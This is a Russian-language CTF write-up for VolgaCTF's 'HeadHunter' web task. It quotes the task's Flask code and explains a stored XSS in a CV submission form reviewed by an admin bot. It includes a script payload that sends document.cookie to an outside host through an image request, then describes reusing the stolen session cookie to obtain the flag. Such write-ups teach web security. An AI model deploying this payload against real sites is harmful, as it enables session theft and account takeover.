Привет! С 29 по 31 марта проходил отборочный тур VolgaCTF.
Организаторы подготовили большое количество заданий в разных категориях (кстати, в том числе была представлена новая — fake, задания на поиск дезинформации).
Цель задания HeadHunter, как и всех остальных — получение секретного ключа. Приступая к заданию получаем файл WEB.py и ссылку на сайт.
Поиск уязвимостей
Сразу идем по ссылке, видим приветственное сообщение. Регистрируемся. Во вкладке Vocation наблюдаем форму из нескольких полей:
Вводим любую информацию и пытаемся отправить. Форма отправляется успешно и во вкладке My Requests List видим нашу заявку в ожидании. Через пару десятков секунд ее статус меняется на «просмотрено»:
Взглянем на прикрепленный файл.
def create_app(test_config=None):
app = Flask(__name__)
app.config.from_mapping(test_config)
# a simple page that says hello
@app.route('/home', methods=['GET'])
def home():
if 'token' in session:
session['username'] = check_token(session['token'])
if 'username' in session:
if session['username'] == 'admin':
return render_template('home_admin.html', flag=FLAG)
else:
return render_template('home.html', cvs_list=db_get_user_cv(session['username']))
else:
session.pop('username', None)
session.pop('token', None)
else:
return redirect(url_for('main'))
@app.route("/cv/<cvid>", methods=['GET', 'DELETE'])
def work_cv(cvid):
if 'token' in session:
session['username'] = check_token(session['token'])
if 'username' in session:
if session['username'] == 'admin':
db_check_cv(cvid)
cv_work = db_get_cv(cvid)
if cv:
cv_data = []
k = cv_work.keys()
for key in k:
temp = {"key": key, "value": cv_work[key]}
cv_data.append(temp)
return render_template('cv_admin.html', id=cvid, cv_data=cv_data)
session.pop('username', None)
session.pop('token', None)
return redirect(url_for('main'))
@app.route("/cv_list", methods=['GET', 'DELETE'])
def cv_list():
if 'token' in session:
session['username'] = check_token(session['token'])
if 'username' in session:
if session['username'] == 'admin':
# TODO
return render_template('all_cvs.html', cvs_list=db_get_new_cv())
session.pop('username', None)
session.pop('token', None)
return redirect(url_for('main'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if 'token' in session:
return redirect(url_for('home'))
if request.method == 'GET':
return render_template('login.html')
else:
u_login = request.form.get('login')
u_password = request.form.get('password')
if u_login and u_password:
user = db_find_user(u_login, u_password)
if user:
session['username'] = u_login
session['token'] = token_generator()
db_update_user_token(u_login, u_password, session['token'])
return redirect(url_for('home'))
session['last_error'] = "Username or password wrong :("
session['last_url'] = "/login"
return redirect(url_for('error'))
@app.route('/', methods=['GET'])
def main():
if 'token' in session:
session['username'] = check_token(session['token'])
if 'username' in session:
if session['username'] == 'admin':
return redirect(url_for('home'))
return render_template('main_auth.html')
else:
session.pop('username', None)
session.pop('token', None)
else:
return render_template('main.html')
@app.route('/registration', methods=['GET', 'POST'])
def registration():
if 'token' in session:
return redirect(url_for('home'))
if request.method == 'GET':
return render_template('registration.html')
else:
u_login = request.form.get('username')
u_password = request.form.get('password')
if u_login and u_password:
user = db_find_user(u_login, u_password)
if user:
session['last_error'] = "User already exist :("
session['last_url'] = "/registration"
return redirect(url_for('error'))
else:
session['username'] = u_login
session['token'] = token_generator()
db_add_user(u_login, u_password, session['token'])
return redirect(url_for('home'))
return redirect(url_for('error'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
session.pop('token', None)
return redirect(url_for('main'))
@app.route('/error', methods=['GET'])
def error():
if 'last_error' in session and 'last_url' in session:
if 'token' in session:
session['username'] = check_token(session['token'])
if 'username' in session:
return render_template('error_auth.html', error=session['last_error'], back_url=session['last_url'])
else:
session.pop('username', None)
session.pop('token', None)
else:
return render_template('error.html', error=session['last_error'], back_url=session['last_url'])
else:
return render_template('error.html')
@app.route('/cv', methods=['GET', 'POST'])
def cv():
if 'token' in session:
session['username'] = check_token(session['token'])
if 'username' in session:
if session['username'] == 'admin':
return redirect(url_for('home'))
if request.method == 'GET':
return render_template('cv.html')
else:
cv_firstname = request.form.get('firstname')
cv_lastname = request.form.get('lastname')
cv_email = request.form.get('email')
cv_phone = request.form.get('phone')
cv_message = request.form.get('message')
if cv_firstname and cv_lastname and cv_email and cv_phone and cv_message:
cv = request.form.to_dict()
cv['user'] = session['username']
cv['status'] = 'Wait'
cv['time'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
if db_count_user_cv(cv['user']) > 9:
session['last_error'] = "Maximum of request reached :("
session['last_url'] = "/home"
return redirect(url_for('error'))
db_add_cv(cv)
return redirect(url_for('home'))
else:
session['last_error'] = "The request is not correct :("
session['last_url'] = "/cv"
return redirect(url_for('error'))
session.pop('username', None)
session.pop('token', None)
return redirect(url_for('main'))
@app.errorhandler(404)
def page_not_found(e):
return render_template('error.html', error="404: Page not found!", back_url="/"), 404
return app
Сразу пытаемся найти код, который обрабатывает отправленную форму:
@app.route('/cv', methods=['GET', 'POST'])
def cv():
if 'token' in session:
session['username'] = check_token(session['token'])
if 'username' in session:
if session['username'] == 'admin':
return redirect(url_for('home'))
if request.method == 'GET':
return render_template('cv.html')
else:
cv_firstname = request.form.get('firstname')
cv_lastname = request.form.get('lastname')
cv_email = request.form.get('email')
cv_phone = request.form.get('phone')
cv_message = request.form.get('message')
if cv_firstname and cv_lastname and cv_email and cv_phone and cv_message:
cv = request.form.to_dict()
cv['user'] = session['username']
cv['status'] = 'Wait'
cv['time'] = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
if db_count_user_cv(cv['user']) > 9:
session['last_error'] = "Maximum of request reached :("
session['last_url'] = "/home"
return redirect(url_for('error'))
db_add_cv(cv)
return redirect(url_for('home'))
else:
session['last_error'] = "The request is not correct :("
session['last_url'] = "/cv"
return redirect(url_for('error'))
session.pop('username', None)
session.pop('token', None)
return redirect(url_for('main'))
Вызов request.form.to_dict() сериализует форму и после «валидации» и небольшой модификации db_add_cv(cv) сохраняют все данные, что пришли с формой.
Далее, когда виртуальный модератор открывает заявку, ему также отдается всё, что нехорошие люди смогли загрузить в базу:
@app.route("/cv/<cvid>", methods=['GET', 'DELETE'])
def work_cv(cvid):
if 'token' in session:
session['username'] = check_token(session['token'])
if 'username' in session:
if session['username'] == 'admin':
db_check_cv(cvid)
cv_work = db_get_cv(cvid)
if cv:
cv_data = []
k = cv_work.keys()
for key in k:
temp = {"key": key, "value": cv_work[key]}
cv_data.append(temp)
return render_template('cv_admin.html', id=cvid, cv_data=cv_data)
session.pop('username', None)
session.pop('token', None)
return redirect(url_for('main'))
db_get_cv(cvid) получает данные из базы и после небольшой структурной модификации отдает все данные в темплейт.
Атака
Такое сочетание фактов наталкивает на мысли о возможной XSS уязвимости.
Пытаемся выполнить типовую атаку и своровать куки, используя Image src для обхода доменных ограничений:
<script language="javascript">
var img = new Image();
img.src = 'example.com?' + document.cookie;
document.body.appendChild(img);
</script>
Мы предполагаем, что никакой защиты нет и текст сообщения встраивается в DOM без всяких проверок. В этом случае, код внутри тега script начнет свое выполнение. Он создаст элемент (картинку) и назначит ей источник, после чего добавит элемент в DOM. Это, в свою очередь, вынудит браузер попробовать загрузить ее, осуществив запрос на наш сервер.
Теперь просто включаем в запрос с формой дополнительное поле с нашим скриптом, отправляем и ждем. Статус меняется на «просмотрено», а на сервер приходит запрос с куки в query параметре.
Остался последний шаг — берем куки, устанавливаем их на сайте, обновляем страницу и получаем ключ:
Задание решено.
Автор: Максим Карабутов